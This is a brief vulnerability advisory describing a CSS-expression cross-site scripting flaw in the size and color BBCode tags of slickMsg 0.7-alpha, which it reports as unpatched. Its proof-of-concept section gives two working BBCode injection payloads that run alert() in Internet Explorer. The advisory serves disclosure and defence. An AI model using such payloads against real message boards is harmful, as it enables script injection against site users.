slickMsg 0.7-alpha BBCode CSS Cross Site Scripting

`www.eVuln.com advisory:  
BBCode CSS XSS in slickMsg  
Summary: http://evuln.com/vulns/162/summary.html   
Details: http://evuln.com/vulns/162/description.html   
  
-----------Summary-----------  
eVuln ID: EV0162  
Software: slickMsg  
Vendor: n/a  
Version: 0.7-alpha  
Critical Level: low  
Type: Cross Site Scripting  
Status: Unpatched. No reply from developer(s)  
PoC: Available  
Solution: Not available  
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )  
--------Description--------  
It is possible to inject XSS code (expression) into CSS style of size and color bbcodes.  
"size" and "color" values are not properly sanitized before being used in CSS code.  
Note: works in MS IE  
--------PoC/Exploit--------  
CSS XSS in BBcodes examples  
  
XSS example 1: [size=expression(alert(123))]size[/size]  
  
XSS example 2: [color=expression(alert(456))]blue[/color]  
---------Solution----------  
Not available  
----------Credit-----------  
Vulnerability discovered by Aliaksandr Hartsuyeu  
http://evuln.com/xss/bbcode.html - recent bbcode xss advisories  
`